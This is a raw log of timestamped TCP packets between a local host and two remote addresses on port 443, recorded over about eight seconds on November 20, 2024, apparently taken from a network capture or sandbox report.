Nov 20, 2024 21:05:40.630088091 CET	49897	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:40.630121946 CET	443	49897	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:40.630574942 CET	49897	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:40.630583048 CET	443	49897	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:40.791136980 CET	443	49898	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:40.792330980 CET	49898	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:40.792402029 CET	443	49898	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:40.792797089 CET	49898	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:40.792812109 CET	443	49898	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:40.824773073 CET	443	49899	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:40.825829983 CET	49899	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:40.825862885 CET	443	49899	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:40.826293945 CET	49899	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:40.826301098 CET	443	49899	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:40.847712040 CET	49895	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:40.847739935 CET	443	49895	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:41.067575932 CET	443	49897	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:41.070600033 CET	443	49897	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:41.073707104 CET	49897	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:41.073744059 CET	49897	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:41.073755026 CET	443	49897	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:41.073807955 CET	49897	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:41.073815107 CET	443	49897	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:41.076381922 CET	49902	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:41.076410055 CET	443	49902	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:41.077694893 CET	49902	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:41.077814102 CET	49902	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:41.077831030 CET	443	49902	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:41.111865997 CET	443	49900	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:41.114023924 CET	49900	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:41.114036083 CET	443	49900	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:41.114414930 CET	49900	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:41.114419937 CET	443	49900	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:41.251785040 CET	443	49898	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:41.254858971 CET	443	49898	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:41.254952908 CET	49898	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:41.254998922 CET	49898	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:41.255022049 CET	443	49898	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:41.255038023 CET	49898	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:41.255047083 CET	443	49898	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:41.258081913 CET	49903	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:41.258114100 CET	443	49903	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:41.258204937 CET	49903	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:41.258378029 CET	49903	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:41.258388042 CET	443	49903	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:41.261663914 CET	443	49899	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:41.264756918 CET	443	49899	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:41.264821053 CET	49899	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:41.264880896 CET	49899	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:41.264909983 CET	49899	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:41.264909983 CET	443	49899	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:41.264919043 CET	443	49899	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:41.267537117 CET	49904	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:41.267565012 CET	443	49904	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:41.267658949 CET	49904	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:41.267983913 CET	49904	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:41.267999887 CET	443	49904	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:41.548841953 CET	443	49900	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:41.548927069 CET	443	49900	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:41.549038887 CET	49900	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:41.549643993 CET	49900	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:41.549681902 CET	443	49900	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:41.549696922 CET	49900	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:41.549705029 CET	443	49900	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:41.552352905 CET	49905	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:41.552429914 CET	443	49905	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:41.552622080 CET	49905	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:41.552802086 CET	49905	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:41.552819014 CET	443	49905	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:42.328288078 CET	443	49901	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:42.328798056 CET	49901	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:42.328830004 CET	443	49901	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:42.329260111 CET	49901	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:42.329272032 CET	443	49901	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:42.793692112 CET	443	49901	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:42.796802998 CET	443	49901	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:42.796878099 CET	49901	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:42.796936035 CET	49901	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:42.796953917 CET	443	49901	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:42.796967983 CET	49901	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:42.796972990 CET	443	49901	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:42.801615953 CET	49906	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:42.801671982 CET	443	49906	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:42.801750898 CET	49906	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:42.801917076 CET	49906	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:42.801935911 CET	443	49906	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:42.830879927 CET	443	49902	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:42.831509113 CET	49902	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:42.831589937 CET	443	49902	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:42.832613945 CET	49902	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:42.832631111 CET	443	49902	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:42.864423990 CET	443	49903	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:42.864924908 CET	49903	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:42.864949942 CET	443	49903	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:42.865380049 CET	49903	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:42.865384102 CET	443	49903	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:42.984852076 CET	49907	443	192.168.2.4	216.58.208.228
Nov 20, 2024 21:05:42.984888077 CET	443	49907	216.58.208.228	192.168.2.4
Nov 20, 2024 21:05:42.984970093 CET	49907	443	192.168.2.4	216.58.208.228
Nov 20, 2024 21:05:42.985236883 CET	49907	443	192.168.2.4	216.58.208.228
Nov 20, 2024 21:05:42.985249043 CET	443	49907	216.58.208.228	192.168.2.4
Nov 20, 2024 21:05:42.994856119 CET	443	49904	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:42.998163939 CET	49904	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:42.998225927 CET	443	49904	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:42.998620033 CET	49904	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:42.998640060 CET	443	49904	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:43.265500069 CET	443	49902	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:43.268604994 CET	443	49902	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:43.269730091 CET	49902	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:43.269768000 CET	49902	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:43.269768000 CET	49902	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:43.269787073 CET	443	49902	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:43.269798994 CET	443	49902	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:43.272442102 CET	49908	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:43.272480011 CET	443	49908	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:43.272571087 CET	49908	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:43.272711992 CET	49908	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:43.272722006 CET	443	49908	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:43.309081078 CET	443	49903	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:43.312165976 CET	443	49903	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:43.312218904 CET	49903	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:43.312243938 CET	443	49903	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:43.312261105 CET	443	49903	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:43.312329054 CET	49903	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:43.312374115 CET	49903	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:43.312392950 CET	443	49903	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:43.312407017 CET	49903	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:43.312412024 CET	443	49903	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:43.315336943 CET	49909	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:43.315431118 CET	443	49909	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:43.315531015 CET	49909	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:43.315679073 CET	49909	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:43.315706968 CET	443	49909	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:43.348731041 CET	443	49905	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:43.349188089 CET	49905	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:43.349253893 CET	443	49905	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:43.349680901 CET	49905	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:43.349697113 CET	443	49905	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:43.430721045 CET	443	49904	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:43.433686972 CET	443	49904	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:43.433784008 CET	49904	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:43.433830023 CET	49904	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:43.433830023 CET	49904	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:43.433856010 CET	443	49904	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:43.433871984 CET	443	49904	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:43.437149048 CET	49910	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:43.437212944 CET	443	49910	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:43.437306881 CET	49910	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:43.437477112 CET	49910	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:43.437495947 CET	443	49910	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:43.793344021 CET	443	49905	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:43.796521902 CET	443	49905	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:43.796600103 CET	443	49905	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:43.796722889 CET	49905	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:43.796724081 CET	49905	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:43.796724081 CET	49905	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:43.799719095 CET	49911	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:43.799851894 CET	443	49911	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:43.803711891 CET	49911	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:43.804517031 CET	49911	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:43.804534912 CET	443	49911	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:44.095993996 CET	49905	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:44.096072912 CET	443	49905	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:44.719225883 CET	443	49907	216.58.208.228	192.168.2.4
Nov 20, 2024 21:05:44.719535112 CET	49907	443	192.168.2.4	216.58.208.228
Nov 20, 2024 21:05:44.719562054 CET	443	49907	216.58.208.228	192.168.2.4
Nov 20, 2024 21:05:44.719917059 CET	443	49907	216.58.208.228	192.168.2.4
Nov 20, 2024 21:05:44.720210075 CET	49907	443	192.168.2.4	216.58.208.228
Nov 20, 2024 21:05:44.720283031 CET	443	49907	216.58.208.228	192.168.2.4
Nov 20, 2024 21:05:44.768670082 CET	49907	443	192.168.2.4	216.58.208.228
Nov 20, 2024 21:05:45.057948112 CET	443	49908	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:45.058674097 CET	49908	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:45.058701038 CET	443	49908	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:45.059164047 CET	49908	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:45.059170961 CET	443	49908	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:45.117263079 CET	443	49909	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:45.117758036 CET	49909	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:45.117784977 CET	443	49909	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:45.118217945 CET	49909	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:45.118223906 CET	443	49909	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:45.164983988 CET	443	49906	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:45.165594101 CET	49906	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:45.165674925 CET	443	49906	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:45.166052103 CET	49906	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:45.166066885 CET	443	49906	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:45.298687935 CET	443	49910	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:45.299348116 CET	49910	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:45.299376011 CET	443	49910	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:45.299845934 CET	49910	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:45.299854040 CET	443	49910	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:45.509862900 CET	443	49908	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:45.513462067 CET	443	49908	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:45.513541937 CET	49908	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:45.513593912 CET	49908	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:45.513618946 CET	443	49908	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:45.513638020 CET	49908	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:45.513644934 CET	443	49908	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:45.516594887 CET	49912	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:45.516623974 CET	443	49912	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:45.516701937 CET	49912	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:45.516840935 CET	49912	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:45.516855001 CET	443	49912	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:45.597953081 CET	443	49909	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:45.601104975 CET	443	49909	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:45.601175070 CET	49909	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:45.601222992 CET	49909	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:45.601248980 CET	443	49909	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:45.601265907 CET	49909	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:45.601274014 CET	443	49909	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:45.604264021 CET	49913	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:45.604301929 CET	443	49913	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:45.604389906 CET	49913	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:45.604571104 CET	49913	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:45.604582071 CET	443	49913	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:45.618277073 CET	443	49906	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:45.621118069 CET	443	49906	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:45.621189117 CET	49906	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:45.621242046 CET	49906	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:45.621242046 CET	49906	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:45.621265888 CET	443	49906	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:45.621279955 CET	443	49906	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:45.624037981 CET	49914	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:45.624063015 CET	443	49914	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:45.624146938 CET	49914	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:45.624305964 CET	49914	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:45.624317884 CET	443	49914	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:45.692912102 CET	443	49911	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:45.693454027 CET	49911	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:45.693484068 CET	443	49911	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:45.693901062 CET	49911	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:45.693908930 CET	443	49911	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:45.770508051 CET	443	49910	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:45.773757935 CET	443	49910	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:45.773816109 CET	49910	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:45.773830891 CET	443	49910	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:45.773845911 CET	443	49910	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:45.773899078 CET	49910	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:45.773974895 CET	49910	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:45.773983955 CET	443	49910	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:45.774007082 CET	49910	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:45.774013042 CET	443	49910	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:45.777060032 CET	49915	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:45.777101040 CET	443	49915	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:45.777285099 CET	49915	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:45.777312994 CET	49915	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:45.777321100 CET	443	49915	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:46.157805920 CET	443	49911	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:46.160932064 CET	443	49911	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:46.161009073 CET	49911	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:46.169135094 CET	49911	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:46.169158936 CET	443	49911	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:46.169195890 CET	49911	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:46.169203997 CET	443	49911	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:46.171957970 CET	49916	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:46.172005892 CET	443	49916	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:46.172207117 CET	49916	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:46.172406912 CET	49916	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:46.172424078 CET	443	49916	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:47.243619919 CET	443	49912	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:47.244406939 CET	49912	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:47.244422913 CET	443	49912	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:47.244772911 CET	49912	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:47.244786978 CET	443	49912	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:47.439815044 CET	443	49913	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:47.440530062 CET	49913	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:47.440548897 CET	443	49913	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:47.441023111 CET	49913	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:47.441028118 CET	443	49913	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:47.479837894 CET	443	49914	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:47.480371952 CET	49914	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:47.480386972 CET	443	49914	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:47.480940104 CET	49914	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:47.480947018 CET	443	49914	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:47.503518105 CET	443	49915	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:47.503923893 CET	49915	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:47.503937960 CET	443	49915	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:47.504371881 CET	49915	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:47.504378080 CET	443	49915	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:47.831871986 CET	443	49912	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:47.834953070 CET	443	49912	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:47.835041046 CET	49912	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:47.835112095 CET	49912	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:47.835134029 CET	443	49912	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:47.835146904 CET	49912	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:47.835155010 CET	443	49912	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:47.838645935 CET	49917	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:47.838692904 CET	443	49917	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:47.838793993 CET	49917	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:47.838968992 CET	49917	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:47.838979006 CET	443	49917	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:47.908714056 CET	443	49916	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:47.909610987 CET	49916	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:47.909636021 CET	443	49916	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:47.910037994 CET	49916	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:47.910043001 CET	443	49916	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:47.956927061 CET	443	49915	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:47.958695889 CET	443	49913	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:47.959295034 CET	443	49915	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:47.959366083 CET	49915	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:47.959418058 CET	49915	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:47.959441900 CET	443	49915	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:47.959455013 CET	49915	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:47.959461927 CET	443	49915	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:47.961966038 CET	443	49913	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:47.962054968 CET	49913	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:47.962105036 CET	49913	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:47.962112904 CET	443	49913	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:47.962126017 CET	49913	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:47.962130070 CET	443	49913	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:47.962755919 CET	49918	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:47.962773085 CET	443	49918	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:47.962833881 CET	49918	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:47.963015079 CET	49918	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:47.963027954 CET	443	49918	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:47.964540958 CET	49919	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:47.964576960 CET	443	49919	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:47.964648962 CET	49919	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:47.964776039 CET	49919	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:47.964785099 CET	443	49919	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:47.967513084 CET	443	49914	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:47.971236944 CET	443	49914	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:47.971290112 CET	49914	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:47.971292019 CET	443	49914	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:47.971344948 CET	49914	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:47.971393108 CET	49914	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:47.971410990 CET	443	49914	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:47.971421957 CET	49914	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:47.971426964 CET	443	49914	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:47.973851919 CET	49920	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:47.973903894 CET	443	49920	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:47.973989010 CET	49920	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:47.974114895 CET	49920	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:47.974142075 CET	443	49920	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:48.715605021 CET	443	49916	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:48.715711117 CET	443	49916	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:48.715771914 CET	49916	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:48.715795040 CET	443	49916	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:48.715847015 CET	443	49916	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:48.715892076 CET	49916	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:48.715984106 CET	49916	443	192.168.2.4	13.107.246.63
